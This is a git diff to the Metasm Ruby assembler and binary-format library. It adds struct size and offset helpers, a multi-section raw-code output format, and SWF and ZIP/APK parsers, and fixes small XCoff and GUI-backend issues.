+++ b/lib/metasm/metasm/exe_format/serialstruct.rb
@@ -13,19 +13,20 @@ class SerialStruct
   NAME=0
   DECODE=1
   ENCODE=2
-  DEFVAL=3
-  ENUM=4
-  BITS=5
+  SIZEOF=3
+  DEFVAL=4
+  ENUM=5
+  BITS=6
 
 class << self
   # defines a new field
   # adds an accessor
-  def new_field(name, decode, encode, defval, enum=nil, bits=nil)
+  def new_field(name, decode, encode, sizeof, defval, enum=nil, bits=nil)
     if name
       attr_accessor name
       name = "@#{name}".to_sym
     end
-    (@@fields[self] ||= []) << [name, decode, encode, defval, enum, bits]
+    (@@fields[self] ||= []) << [name, decode, encode, sizeof, defval, enum, bits]
   end
 
   # creates a field constructor for a simple integer
@@ -34,7 +35,7 @@ class << self
     recv = class << self ; self ; end
     types.each { |type|
       recv.send(:define_method, type) { |name, *args|
-        new_field(name, "decode_#{type}".to_sym, "encode_#{type}".to_sym, args[0] || 0, args[1])
+        new_field(name, "decode_#{type}".to_sym, "encode_#{type}".to_sym, "sizeof_#{type}".to_sym, args[0] || 0, args[1])
       }
 
       # shortcut to define multiple fields of this type with default values
@@ -46,24 +47,33 @@ class << self
 
   # standard fields:
 
+  # virtual field, handled explicitly in a custom encode/decode
+  def virtual(*a)
+    a.each { |f|
+      new_field(f, nil, nil, nil, nil)
+    }
+  end
+
   # a fixed-size memory chunk
   def mem(name, len, defval='')
-    new_field(name, lambda { |exe, me| exe.curencoded.read(len) }, lambda { |exe, me, val| val[0, len].ljust(len, 0.chr) }, defval)
+    new_field(name, lambda { |exe, me| exe.curencoded.read(len) }, lambda { |exe, me, val| val[0, len].ljust(len, 0.chr) }, lambda { |exe, me| len }, defval)
   end
   # a fixed-size string, 0-padded
   def str(name, len, defval='')
-    e = lambda { |exe, me, val| val[0, len].ljust(len, 0.chr) }
     d = lambda { |exe, me| v = exe.curencoded.read(len) ; v = v[0, v.index(?\0)] if v.index(?\0) ; v }
-    new_field(name, d, e, defval)
+    e = lambda { |exe, me, val| val[0, len].ljust(len, 0.chr) }
+    s = lambda { |exe, me| len }
+    new_field(name, d, e, s, defval)
   end
   # 0-terminated string
   def strz(name, defval='')
     d = lambda { |exe, me|
-             ed = exe.curencoded
+      ed = exe.curencoded
       ed.read(ed.data.index(?\0, ed.ptr)-ed.ptr+1).chop
     }
     e = lambda { |exe, me, val| val + 0.chr }
-    new_field(name, d, e, defval)
+    s = lambda { |exe, val| val.length + 1 }
+    new_field(name, d, e, s, defval)
   end
 
   # field access
@@ -93,7 +103,7 @@ class << self
     d = lambda { |exe, me| @bitfield_val = exe.send("decode_#{inttype}") }
     # reset a temp var
     e = lambda { |exe, me, val| @bitfield_val = 0 ; nil }
-    new_field(nil, d, e, nil)
+    new_field(nil, d, e, 0, nil)
 
     h = h.sort
     h.length.times { |i|
@@ -107,7 +117,7 @@ class << self
       d = lambda { |exe, me| (@bitfield_val >> off) & mask }
       # update the temp var with the field value, return nil
       e = lambda { |exe, me, val| @bitfield_val |= (val & mask) << off ; nil }
-             new_field(name, d, e, 0)
+      new_field(name, d, e, 0, 0)
     }
 
     # free the temp var
@@ -118,11 +128,13 @@ class << self
       @bitfield_val = nil
       exe.send("encode_#{inttype}", val)
     }
-    new_field(nil, d, e, nil)
+    s = lambda { |exe, me| exe.send("sizeof_#{inttype}") }
+    new_field(nil, d, e, s, nil)
   end
 
   # inject a hook to be run during the decoding process
   def decode_hook(before=nil, &b)
+    @@fields[self] ||= []
     idx = (before ? @@fields[self].index(fld_get(before)) : -1)
     @@fields[self].insert(idx, [nil, b])
   end
@@ -209,6 +221,39 @@ end	# class methods
     ed
   end
 
+  # size of the structure = fields.sum { size of field }
+  def sizeof(exe)
+    struct_fields(exe).inject(0) { |off, f|
+      case sz = f[SIZEOF]
+      when Proc; sz = sz[exe, self]
+      when Symbol; sz = exe.send(sz)
+      when Array; sz = exe.send(*sz)
+      when nil; sz = 0
+      end
+      off + sz
+    }
+  end
+
+  # offset (in bytes) of the structure member
+  # for bitfields, return the byte offset of the whole bitfield
+  def offsetof(exe, fld)
+    fld2 = fld
+    fld2 = "@#{fld}".to_sym if fld.to_s[0] != ?@
+    off = 0
+    struct_fields(exe).each { |f|
+      return off if f[NAME] == fld or f[NAME] == fld2
+
+      case sz = f[SIZEOF]
+      when Proc; sz = sz[exe, self]
+      when Symbol; sz = exe.send(sz)
+      when Array; sz = exe.send(*sz)
+      when nil; sz = 0
+      end
+      off += sz
+    }
+    raise 'unknown field'
+  end
+
   # shortcut to create a new instance and decode it
   def self.decode(*a)
     s = new
@@ -216,6 +261,14 @@ end	# class methods
     s
   end
 
+  def self.sizeof(exe)
+    new.sizeof(exe)
+  end
+
+  def self.offsetof(exe, fld)
+    new.offsetof(exe, fld)
+  end
+
   def dump(e, a)
     case e
     when Integer; e >= 0x100 ? '0x%X'%e : e
diff --git a/lib/metasm/metasm/exe_format/shellcode.rb b/lib/metasm/metasm/exe_format/shellcode.rb
index 1bfed69f72..df2dfa01a7 100644
--- a/lib/metasm/metasm/exe_format/shellcode.rb
+++ b/lib/metasm/metasm/exe_format/shellcode.rb
@@ -69,11 +69,11 @@ class Shellcode < ExeFormat
     parse(*a) if not a.empty?
     @encoded << assemble_sequence(@source, @cpu)
     @source.clear
-    encode
+    self
   end
 
   def encode(binding={})
-    @encoded.fixup! binding
+    @encoded.fixup! binding if binding.kind_of? Hash
     @encoded.fixup @encoded.binding(@base_addr)
     @encoded.fill @encoded.rawsize
     self
@@ -107,7 +107,11 @@ class Shellcode < ExeFormat
   # returns a virtual subclass of Shellcode whose cpu_from_headers will return cpu
   def self.withcpu(cpu)
     c = Class.new(self)
-    c.send(:define_method, :cpu_from_headers) { cpu }
+    c.send(:define_method, :cpu_from_headers) {
+      cpu = Metasm.const_get(cpu) if cpu.kind_of?(::String)
+      cpu = cpu.new if cpu.kind_of?(::Class) and cpu.ancestors.include?(CPU)
+      cpu
+    }
     c
   end
 end
diff --git a/lib/metasm/metasm/exe_format/shellcode_rwx.rb b/lib/metasm/metasm/exe_format/shellcode_rwx.rb
new file mode 100644
index 0000000000..9ef0980edf
--- /dev/null
+++ b/lib/metasm/metasm/exe_format/shellcode_rwx.rb
@@ -0,0 +1,114 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2009 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+
+require 'metasm/exe_format/main'
+
+module Metasm
+# Similar to Shellcode, with distinct sections per memory permission (R / RW / RX)
+# encoding-side only
+class Shellcode_RWX < ExeFormat
+  # the array of source elements (Instr/Data etc)
+  attr_accessor :source_r, :source_w, :source_x
+  # base address per section
+  attr_accessor :base_r, :base_w, :base_x
+  # encodeddata
+  attr_accessor :encoded_r, :encoded_w, :encoded_x
+
+  def initialize(cpu=nil)
+    @base_r = @base_w = @base_x = nil
+    @encoded_r = EncodedData.new
+    @encoded_w = EncodedData.new
+    @encoded_x = EncodedData.new
+
+    super(cpu)
+  end
+
+  def parse_init
+    @source_r = []
+    @source_w = []
+    @source_x = []
+    @cursource = @source_x
+    super()
+  end
+
+  # allows definition of the base address
+  def parse_parser_instruction(instr)
+    case instr.raw.downcase
+    when '.base', '.baseaddr', '.base_addr'
+      # ".base_addr <expression>"
+      # expression should #reduce to integer
+      @lexer.skip_space
+      raise instr, 'syntax error' if not base = Expression.parse(@lexer).reduce
+      raise instr, 'syntax error' if tok = @lexer.nexttok and tok.type != :eol
+      if @cursource.equal?(@source_r)
+        @base_r = base
+      elsif @cursource.equal?(@source_w)
+        @base_w = base
+      elsif @cursource.equal?(@source_x)
+        @base_x = base
+      else raise instr, "Where am I ?"
+      end
+    when '.rdata', '.rodata'
+      @cursource = @source_r
+    when '.data', '.bss'
+      @cursource = @source_w
+    when '.text'
+      @cursource = @source_x
+    else super(instr)
+    end
+  end
+
+  # encodes the source found in self.source
+  # appends it to self.encoded
+  # clears self.source
+  # the optional parameter may contain a binding used to fixup! self.encoded
+  # uses self.base_addr if it exists
+  def assemble(*a)
+    parse(*a) if not a.empty?
+    @encoded_r << assemble_sequence(@source_r, @cpu); @source_r.clear
+    @encoded_w << assemble_sequence(@source_w, @cpu); @source_w.clear
+    @encoded_x << assemble_sequence(@source_x, @cpu); @source_x.clear
+    self
+  end
+
+  def encode(binding={})
+    bd = {}
+    bd.update @encoded_r.binding(@base_r)
+    bd.update @encoded_w.binding(@base_w)
+    bd.update @encoded_x.binding(@base_x)
+    bd.update binding if binding.kind_of?(Hash)
+    @encoded_r.fixup bd
+    @encoded_w.fixup bd
+    @encoded_x.fixup bd
+    self
+  end
+  alias fixup encode
+
+  # resolve inter-section xrefs, raise if unresolved relocations remain
+  # call this when you have assembled+allocated memory for every section
+  def fixup_check(base_r=nil, base_w=nil, base_x=nil, bd={})
+    if base_r.kind_of?(Hash)
+      bd = base_r
+      base_r = nil
+    end
+    @base_r = base_r if base_r
+    @base_w = base_w if base_w
+    @base_x = base_x if base_x
+    fixup bd
+    ed = EncodedData.new << @encoded_r << @encoded_w << @encoded_x
+    raise ["Unresolved relocations:", ed.reloc.map { |o, r| "#{r.target} " + (Backtrace.backtrace_str(r.backtrace) if r.backtrace).to_s }].join("\n") if not ed.reloc.empty?
+    self
+  end
+
+  def encode_string(*a)
+    encode(*a)
+    ed = EncodedData.new << @encoded_r << @encoded_w << @encoded_x
+    ed.fixup(ed.binding)
+    raise ["Unresolved relocations:", ed.reloc.map { |o, r| "#{r.target} " + (Backtrace.backtrace_str(r.backtrace) if r.backtrace).to_s }].join("\n") if not ed.reloc.empty?
+    ed.data
+  end
+end
+end
diff --git a/lib/metasm/metasm/exe_format/swf.rb b/lib/metasm/metasm/exe_format/swf.rb
new file mode 100644
index 0000000000..3d7254d6bd
--- /dev/null
+++ b/lib/metasm/metasm/exe_format/swf.rb
@@ -0,0 +1,205 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2009 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+require 'metasm/exe_format/main'
+require 'metasm/encode'
+require 'metasm/decode'
+begin
+  require 'zlib'
+rescue LoadError
+end
+
+module Metasm
+class SWF < ExeFormat
+  attr_accessor :signature, :version, :header, :chunks
+
+  CHUNK_TYPE = {
+    0 => 'End', 1 => 'ShowFrame', 2 => 'DefineShape', 3 => 'FreeCharacter',
+    4 => 'PlaceObject', 5 => 'RemoveObject', 6 => 'DefineBits', 7 => 'DefineButton',
+    8 => 'JPEGTables', 9 => 'SetBackgroundColor', 10 => 'DefineFont', 11 => 'DefineText',
+    12 => 'DoAction', 13 => 'DefineFontInfo', 14 => 'DefineSound', 15 => 'StartSound',
+    16 => 'StopSound', 17 => 'DefineButtonSound', 18 => 'SoundStreamHead', 19 => 'SoundStreamBlock',
+    20 => 'DefineBitsLossless', 21 => 'DefineBitsJPEG2', 22 => 'DefineShape2', 23 => 'DefineButtonCxform',
+    24 => 'Protect', 25 => 'PathsArePostScript', 26 => 'PlaceObject2',
+    28 => 'RemoveObject2', 29 => 'SyncFrame', 31 => 'FreeAll',
+    32 => 'DefineShape3', 33 => 'DefineText2', 34 => 'DefineButton2', 35 => 'DefineBitsJPEG3',
+    36 => 'DefineBitsLossless2', 37 => 'DefineEditText', 38 => 'DefineVideo', 39 => 'DefineSprite',
+    40 => 'NameCharacter', 41 => 'ProductInfo', 42 => 'DefineTextFormat', 43 => 'FrameLabel',
+    44 => 'DefineBehavior', 45 => 'SoundStreamHead2', 46 => 'DefineMorphShape', 47 => 'FrameTag',
+    48 => 'DefineFont2', 49 => 'GenCommand', 50 => 'DefineCommandObj', 51 => 'CharacterSet',
+    52 => 'FontRef', 53 => 'DefineFunction', 54 => 'PlaceFunction', 55 => 'GenTagObject',
+    56 => 'ExportAssets', 57 => 'ImportAssets', 58 => 'EnableDebugger', 59 => 'DoInitAction',
+    60 => 'DefineVideoStream', 61 => 'VideoFrame', 62 => 'DefineFontInfo2', 63 => 'DebugID',
+    64 => 'EnableDebugger2', 65 => 'ScriptLimits', 66 => 'SetTabIndex', 67 => 'DefineShape4',
+    68 => 'DefineMorphShape2', 69 => 'FileAttributes', 70 => 'PlaceObject3', 71 => 'ImportAssets2',
+    72 => 'DoABC', 76 => 'SymbolClass', 82 => 'DoABC2',
+  }
+
+  class SerialStruct < Metasm::SerialStruct
+    new_int_field :u8, :u16, :u32, :f16, :f32
+  end
+
+  class Rectangle < SerialStruct
+    virtual :nbits, :xmin, :xmax, :ymin, :ymax
+
+    def decode(swf)
+      byte = swf.decode_u8
+      bleft = 3
+      @nbits = byte >> bleft
+      @xmin, @xmax, @ymin, @ymax = (0..3).map {
+        nb = @nbits
+        v = 0
+        while nb > bleft
+          nb -= bleft
+          v |= (byte & ((1<<bleft)-1)) << nb
+
+          bleft = 8
+          byte = swf.decode_u8
+        end
+        v |= (byte >> (bleft-nb)) & ((1<<nb)-1)
+        bleft -= nb
+
+        Expression.make_signed(v, @nbits)
+      }
+    end
+
+    def set_default_values(swf)
+      @xmin ||= 0
+      @xmax ||= 31
+      @ymin ||= 0
+      @ymax ||= 31
+      @nbits = (0..30).find { |nb|
+        [@xmin, @xmax, @ymin, @ymax].all? { |v|
+          if nb == 0
+            v == 0
+          elsif v >= 0
+            # reserve sign bit
+            (v >> (nb-1)) == 0
+          else
+            (v >> nb) == -1
+          end
+        } } || 31
+    end
+
+    def encode(swf)
+      ed = super(swf)
+
+      byte = @nbits << 3
+      bleft = 3
+      [@xmin, @xmax, @ymin, @ymax].each { |v|
+        nb = @nbits
+        while nb > bleft
+          byte |= (v >> (nb-bleft)) & ((1<<bleft)-1)
+          nb -= bleft
+
+          ed << byte
+          byte = 0
+          bleft = 8
+        end
+        byte |= (v & ((1<<nb)-1)) << (bleft-nb)
+        bleft -= nb
+      }
+      ed << byte if bleft < 8
+
+      ed
+    end
+  end
+
+  class Header < SerialStruct
+    virtual :view
+    u16 :framerate	# XXX bigendian...
+    u16 :framecount
+
+    def bswap_framerate(swf)
+      @framerate = ((@framerate >> 8) & 0xff) | ((@framerate & 0xff) << 8) if swf.endianness == :little
+    end
+
+    def decode(swf)
+      @view = Rectangle.decode(swf)
+      super(swf)
+      bswap_framerate(swf)
+    end
+
+    def encode(swf)
+      ed = @view.encode(swf)
+      bswap_framerate(swf)
+      ed << super(swf)
+      bswap_framerate(swf)
+      ed
+    end
+  end
+
+  class Chunk < SerialStruct
+    bitfield :u16, 0 => :length_, 6 => :tag
+    fld_enum :tag, CHUNK_TYPE
+    attr_accessor :data
+
+    def decode(swf)
+      super(swf)
+      @length = (@length_ == 0x3f ? swf.decode_u32 : @length_)
+      @data = swf.encoded.read(@length)
+    end
+
+    def set_default_values(swf)
+      @length = @data.length
+      @length_ = [@length, 0x3f].min
+    end
+
+    def encode(swf)
+      super(swf) <<
+      (swf.encode_u32(@length) if @length >= 0x3f) <<
+      @data
+    end
+  end
+
+  def decode_u8( edata=@encoded) edata.decode_imm(:u8,  @endianness) end
+  def decode_u16(edata=@encoded) edata.decode_imm(:u16, @endianness) end
+  def decode_u32(edata=@encoded) edata.decode_imm(:u32, @endianness) end
+  def decode_f16(edata=@encoded) edata.decode_imm(:i16, @endianness)/256.0 end
+  def decode_f32(edata=@encoded) edata.decode_imm(:i32, @endianness)/65536.0 end
+  def encode_u8(w)  Expression[w].encode(:u8,  @endianness) end
+  def encode_u16(w) Expression[w].encode(:u16, @endianness) end
+  def encode_u32(w) Expression[w].encode(:u32, @endianness) end
+  def encode_f16(w) Expression[(w*256).to_i].encode(:u16, @endianness) end
+  def encode_f32(w) Expression[(w*65536).to_i].encode(:u32, @endianness) end
+  def sizeof_u8 ; 1 ; end
+  def sizeof_u16 ; 2 ; end
+  def sizeof_u32 ; 4 ; end
+  def sizeof_f16 ; 2 ; end
+  def sizeof_f32 ; 4 ; end
+
+  attr_accessor :endianness
+  def initialize(cpu = nil)
+    @endianness = :little
+    @header = Header.new
+    @chunks = []
+    super(cpu)
+  end
+
+  def decode_header
+    @signature = @encoded.read(3)
+    @version = decode_u8
+    @data_length = decode_u32
+    case @signature
+    when 'FWS'
+    when 'CWS'
+      # data_length = uncompressed data length
+      data = @encoded.read(@encoded.length-8)
+      data = Zlib::Inflate.inflate(data)
+      @encoded = EncodedData.new(data)
+    else raise InvalidExeFormat, "Bad signature #{@signature.inspect}"
+    end
+    @data_length = [@data_length, @encoded.length].min
+    @header = Header.decode(self)
+  end
+
+  def decode
+    decode_header
+    while @encoded.ptr < @data_length
+      @chunks << Chunk.decode(self)
+    end
+  end
+end
+end
diff --git a/lib/metasm/metasm/exe_format/xcoff.rb b/lib/metasm/metasm/exe_format/xcoff.rb
index 1836d34f2d..2e3a21e7da 100644
--- a/lib/metasm/metasm/exe_format/xcoff.rb
+++ b/lib/metasm/metasm/exe_format/xcoff.rb
@@ -51,7 +51,7 @@ class XCoff < ExeFormat
       @nsec   ||= xcoff.sections.size
       @symptr ||= xcoff.symbols ? xcoff.new_label('symptr') : 0
       @nsym   ||= xcoff.symbols ? xcoff.symbols.length : 0
-      @opthdr ||= xcoff.optheader ? OptHeader.size(xcoff) : 0
+      @opthdr ||= xcoff.optheader ? xcoff.optheader.sizeof(xcoff) : 0
       super(xcoff)
     end
   end
@@ -61,13 +61,9 @@ class XCoff < ExeFormat
     xwords :tsize, :dsize, :bsize, :entry, :text_start, :data_start, :toc
     halfs :snentry, :sntext, :sndata, :sntoc, :snloader, :snbss, :aligntext, :aligndata, :modtype, :cpu
     xwords :maxstack, :maxdata
-    new_field(:res, lambda { |exe, me| exe.encoded.read(exe.intsize == 32 ? 8 : 120) }, lambda { |exe, me, val| val }, '')
+    new_field(:res, lambda { |exe, me| exe.encoded.read(exe.intsize == 32 ? 8 : 120) }, lambda { |exe, me, val| val }, lambda { |exe, me| exe.intsize == 32 ? 8 : 120 }, '')
 
 
-    def self.size(xcoff)
-      xcoff.intsize == 32 ? 2*2+7*4+10*2+2*4+2+8 : 2*2+7*8+10*2+2*8+2+120
-    end
-
     def set_default_values(xcoff)
       @vstamp  ||= 1
       @snentry ||= 1
@@ -99,12 +95,16 @@ class XCoff < ExeFormat
   # basic immediates decoding functions
   def decode_half( edata = @encoded) edata.decode_imm(:u16, @endianness) end
   def decode_word( edata = @encoded) edata.decode_imm(:u32, @endianness) end
-  def decode_xhalf(edata = @encoded) edata.edoced_imm((@intsize == 32 ? :u16 : :u32), @endianness) end
+  def decode_xhalf(edata = @encoded) edata.decode_imm((@intsize == 32 ? :u16 : :u32), @endianness) end
   def decode_xword(edata = @encoded) edata.decode_imm((@intsize == 32 ? :u32 : :u64), @endianness) end
   def encode_half(w)  Expression[w].encode(:u16, @endianness) end
   def encode_word(w)  Expression[w].encode(:u32, @endianness) end
   def encode_xhalf(w) Expression[w].encode((@intsize == 32 ? :u16 : :u32), @endianness) end
   def encode_xword(w) Expression[w].encode((@intsize == 32 ? :u32 : :u64), @endianness) end
+  def sizeof_half ; 2 ; end
+  def sizeof_word ; 4 ; end
+  def sizeof_xhalf ; @intsize == 32 ? 2 : 4 ; end
+  def sizeof_xword ; @intsize == 32 ? 4 : 8 ; end
 
 
   attr_accessor :header, :segments, :relocs, :intsize, :endianness
diff --git a/lib/metasm/metasm/exe_format/zip.rb b/lib/metasm/metasm/exe_format/zip.rb
new file mode 100644
index 0000000000..e5ba04b4d4
--- /dev/null
+++ b/lib/metasm/metasm/exe_format/zip.rb
@@ -0,0 +1,335 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2009 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+require 'metasm/exe_format/main'
+require 'metasm/encode'
+require 'metasm/decode'
+begin
+  require 'zlib'
+rescue LoadError
+end
+
+# generic ZIP file, may be an APK or JAR
+# supports only a trivial subset of the whole ZIP specification
+#  single file archive
+#  deflate or no compression
+#  no encryption
+#  32bit offsets/sizes
+
+module Metasm
+class ZIP < ExeFormat
+  MAGIC_LOCALHEADER = 0x04034b50
+  COMPRESSION_METHOD = { 0 => 'NONE', 1 => 'SHRUNK', 2 => 'REDUCE1', 3 => 'REDUCE2',
+    4 => 'REDUCE3', 5 => 'REDUCE4', 6 => 'IMPLODE', 7 => 'TOKENIZED',
+    8 => 'DEFLATE', 9 => 'DEFLATE64', 10 => 'OLDTERSE', 12 => 'BZIP2', 14 => 'LZMA',
+    18 => 'TERSE', 19 => 'LZ77', 97 => 'WAVPACK', 98 => 'PPMD' }
+
+  # zip file format:
+  #
+  # [local header 1]
+  # compressed data 1
+  #
+  # [local header 2]
+  # compressed data 2
+  #
+  # [central header 1]
+  # [central header 2]
+  #
+  # [end of central directory]
+
+  class LocalHeader < SerialStruct
+    word :signature, MAGIC_LOCALHEADER
+    half :verneed, 10
+    half :flags	# bit 3 => has data descriptor following the compressed data
+    half :compress_method, 0, COMPRESSION_METHOD
+    halfs :mtime, :mdate
+    word :crc32
+    words :compressed_sz, :uncompressed_sz
+    halfs :fname_len, :extra_len
+    attr_accessor :fname, :extra
+    attr_accessor :compressed_off
+
+    def decode(zip)
+      super(zip)
+      raise "Invalid ZIP signature #{@signature.to_s(16)}" if @signature != MAGIC_LOCALHEADER
+      @fname = zip.encoded.read(@fname_len) if @fname_len > 0
+      @extra = zip.encoded.read(@extra_len) if @extra_len > 0
+      @compressed_off = zip.encoded.ptr
+    end
+
+    def set_default_values(zip)
+      @fname_len = fname ? @fname.length : 0
+      @extra_len = extra ? @extra.length : 0
+      super(zip)
+    end
+
+    def encode(zip)
+      ed = super(zip)
+      ed << fname << extra
+    end
+
+    # return a new LocalHeader with all fields copied from a CentralHeader
+    def self.from_central(f)
+      l = new
+      l.verneed = f.verneed
+      l.flags = f.flags
+      l.compress_method = f.compress_method
+      l.mtime = f.mtime
+      l.mdate = f.mdate
+      l.crc32 = f.crc32
+      l.compressed_sz = f.compressed_sz
+      l.uncompressed_sz = f.uncompressed_sz
+      l.fname = f.fname
+      l.extra = f.extra
+      l
+    end
+  end
+
+  MAGIC_CENTRALHEADER = 0x02014b50
+  class CentralHeader < SerialStruct
+    word :signature, MAGIC_CENTRALHEADER
+    half :vermade, 10
+    half :verneed, 10
+    half :flags
+    half :compress_method, 0, COMPRESSION_METHOD
+    halfs :mtime, :mdate
+    word :crc32
+    words :compressed_sz, :uncompressed_sz
+    halfs :fname_len, :extra_len, :comment_len
+    half :disk_nr
+    half :file_attr_intern
+    word :file_attr_extern
+    word :localhdr_off
+    attr_accessor :fname, :extra, :comment
+    attr_accessor :data
+
+    def decode(zip)
+      super(zip)
+      raise "Invalid ZIP signature #{@signature.to_s(16)}" if @signature != MAGIC_CENTRALHEADER
+      @fname = zip.encoded.read(@fname_len) if @fname_len > 0
+      @extra = zip.encoded.read(@extra_len) if @extra_len > 0
+      @comment = zip.encoded.read(@comment_len) if @comment_len > 0
+    end
+
+    def set_default_values(zip)
+      @fname_len = fname ? @fname.length : 0
+      @extra_len = extra ? @extra.length : 0
+      @comment_len = comment ? @comment.length : 0
+      super(zip)
+    end
+
+    def encode(zip)
+      ed = super(zip)
+      ed << fname << extra << comment
+    end
+
+    # reads the raw file data from the archive
+    def file_data(zip)
+      return @data if data
+
+      zip.encoded.ptr = @localhdr_off
+      LocalHeader.decode(zip)
+      raw = zip.encoded.read(@compressed_sz)
+      @data = case @compress_method
+      when 'NONE'
+        raw
+      when 'DEFLATE'
+        z = Zlib::Inflate.new(-Zlib::MAX_WBITS)
+        z.inflate(raw)
+      else
+        raise "Unsupported zip compress method #@compress_method"
+      end
+    end
+
+    def zlib_deflate(data, level=Zlib::DEFAULT_COMPRESSION)
+      z = Zlib::Deflate.new(level, -Zlib::MAX_WBITS)
+      z.deflate(data) + z.finish
+    end
+
+    # encode the data, fixup related fields
+    def encode_data(zip)
+      data = file_data(zip)
+      @compress_method = 'NONE' if data == ''
+
+      @crc32 = Zlib.crc32(data)
+      @uncompressed_sz = data.length
+
+      case compress_method
+      when 'NONE'
+      when 'DEFLATE'
+        data = zlib_deflate(data)
+      when nil
+        # autodetect compression method
+        # compress if we win more than 10% space
+        cdata = zlib_deflate(data)
+        ratio = cdata.length * 100 / data.length
+        if ratio < 90
+          @compress_method = 'DEFLATE'
+          data = cdata
+        else
+          @compress_method = 'NONE'
+        end
+      end
+
+      @compressed_sz = data.length
+
+      data
+    end
+  end
+
+  MAGIC_ENDCENTRALDIRECTORY = 0x06054b50
+  class EndCentralDirectory < SerialStruct
+    word :signature, MAGIC_ENDCENTRALDIRECTORY
+    halfs :disk_nr, :disk_centraldir, :entries_nr_thisdisk, :entries_nr
+    word :directory_sz
+    word :directory_off
+    half :comment_len
+    attr_accessor :comment
+
+    def decode(zip)
+      super(zip)
+      raise "Invalid ZIP end signature #{@signature.to_s(16)}" if @signature != MAGIC_ENDCENTRALDIRECTORY
+      @comment = zip.encoded.read(@comment_len) if @comment_len > 0
+    end
+
+    def set_default_values(zip)
+      @entries_nr_thisdisk = zip.files.length
+      @entries_nr = zip.files.length
+      @comment_len = comment ? @comment.length : 0
+      super(zip)
+    end
+
+    def encode(zip)
+      ed = super(zip)
+      ed << comment
+    end
+  end
+
+  def decode_half(edata=@encoded) edata.decode_imm(:u16, @endianness) end
+  def decode_word(edata=@encoded) edata.decode_imm(:u32, @endianness) end
+  def encode_half(w) Expression[w].encode(:u16, @endianness) end
+  def encode_word(w) Expression[w].encode(:u32, @endianness) end
+  def sizeof_half ; 2 ; end
+  def sizeof_word ; 4 ; end
+
+  attr_accessor :files, :header
+
+  def initialize(cpu = nil)
+    @endianness = :little
+    @header = EndCentralDirectory.new
+    @files = []
+    super(cpu)
+  end
+
+  # scan and decode the 'end of central directory' header
+  def decode_header
+    if not @encoded.ptr = @encoded.data.rindex([MAGIC_ENDCENTRALDIRECTORY].pack('V'))
+      raise "ZIP: no end of central directory record"
+    end
+    @header = EndCentralDirectory.decode(self)
+  end
+
+  # read the whole central directory file descriptors
+  def decode
+    decode_header
+    @encoded.ptr = @header.directory_off
+    while @encoded.ptr < @header.directory_off + @header.directory_sz
+      @files << CentralHeader.decode(self)
+    end
+  end
+
+  # checks if a given file name exists in the archive
+  # returns the CentralHeader or nil
+  # case-insensitive if lcase is false
+  def has_file(fname, lcase=true)
+    decode if @files.empty?
+    if lcase
+      @files.find { |f| f.fname == fname }
+    else
+      fname = fname.downcase
+      @files.find { |f| f.fname.downcase == fname }
+    end
+  end
+
+  # returns the uncompressed raw file content from a given name
+  # nil if name not found
+  # case-insensitive if lcase is false
+  def file_data(fname, lcase=true)
+    if f = has_file(fname, lcase)
+      f.file_data(self)
+    end
+  end
+
+  # add a new file to the zip archive
+  def add_file(fname, data, compress=:auto)
+    f = CentralHeader.new
+
+    case compress
+    when 'NONE', false; f.compress_method = 'NONE'
+    when 'DEFLATE', true; f.compress_method = 'DEFLATE'
+    end
+
+    f.fname = fname
+    f.data = data
+
+    @files << f
+    f
+  end
+
+  # create a new zip file
+  def encode
+    edata = EncodedData.new
+    central_dir = EncodedData.new
+
+    @files.each { |f|
+      encode_entry(f, edata, central_dir)
+    }
+
+    @header.directory_off = edata.length
+    @header.directory_sz  = central_dir.length
+
+    edata << central_dir << @header.encode(self)
+
+    @encoded = edata
+  end
+
+  # add one file to the zip stream
+  def encode_entry(f, edata, central_dir)
+    f.localhdr_off = edata.length
+
+    # may autodetect compression method
+    raw = f.encode_data(self)
+
+    zipalign(f, edata)
+
+    central_dir << f.encode(self)	# calls f.set_default_values
+
+    l = LocalHeader.from_central(f)
+    edata << l.encode(self)
+
+    edata << raw
+  end
+
+  # zipalign: ensure uncompressed data starts on a 4-aligned offset
+  def zipalign(f, edata)
+    if f.compress_method == 'NONE' and not f.extra
+      o = (edata.length + f.fname.length + 2) & 3
+      f.extra = " "*(4-o) if o > 0
+    end
+
+  end
+
+  # when called as AutoExe, try to find a meaningful exefmt
+  def self.autoexe_load(bin)
+    z = decode(bin)
+    if dex = z.file_data('classes.dex')
+      puts "ZIP: APK file, loading 'classes.dex'" if $VERBOSE
+      AutoExe.load(dex)
+    else
+      z
+    end
+  end
+end
+end
diff --git a/lib/metasm/metasm/gui.rb b/lib/metasm/metasm/gui.rb
index 4aa150e0fd..36630d4459 100644
--- a/lib/metasm/metasm/gui.rb
+++ b/lib/metasm/metasm/gui.rb
@@ -1,23 +1,13 @@
-backend = case ENV['METASM_GUI']
-when 'gtk'; 'gtk'
-when 'qt'; 'qt'
-when 'win32'; 'win32'
-else
-  puts "Unsupported METASM_GUI #{ENV['METASM_GUI'].inspect}" if $VERBOSE and ENV['METASM_GUI']
+backend = ENV['METASM_GUI'] || (
   if RUBY_PLATFORM =~ /(i.86|x(86_)?64)-(mswin|mingw|cygwin)/i
     'win32'
   else
-  begin
-    require 'gtk2'
-    'gtk'
-  rescue LoadError
-    #begin
-    #	require 'Qt4'
-    #	'qt'
-    #rescue LoadError
+    begin
+      require 'gtk2'
+      'gtk'
+    rescue LoadError
       raise LoadError, 'No GUI ruby binding installed - please install libgtk2-ruby'
-    #end
+    end
   end
-  end
-end
+)
 require "metasm/gui/#{backend}"
diff --git a/lib/metasm/metasm/gui/cstruct.rb b/lib/metasm/metasm/gui/cstruct.rb
index 55c3c5c477..2fe8fa8c48 100644
--- a/lib/metasm/metasm/gui/cstruct.rb
+++ b/lib/metasm/metasm/gui/cstruct.rb
@@ -23,8 +23,7 @@ class CStructWidget < DrawableWidget
     @cwidth = @cheight = 1	# widget size in chars
     @structdepth = 2
 
-    @default_color_association = { :text => :black, :keyword => :blue, :caret => :black,
-        :background => :white, :hl_word => :palered, :comment => :darkblue }
+    @default_color_association = ColorTheme.merge :keyword => :blue
   end
 
   def click(x, y)
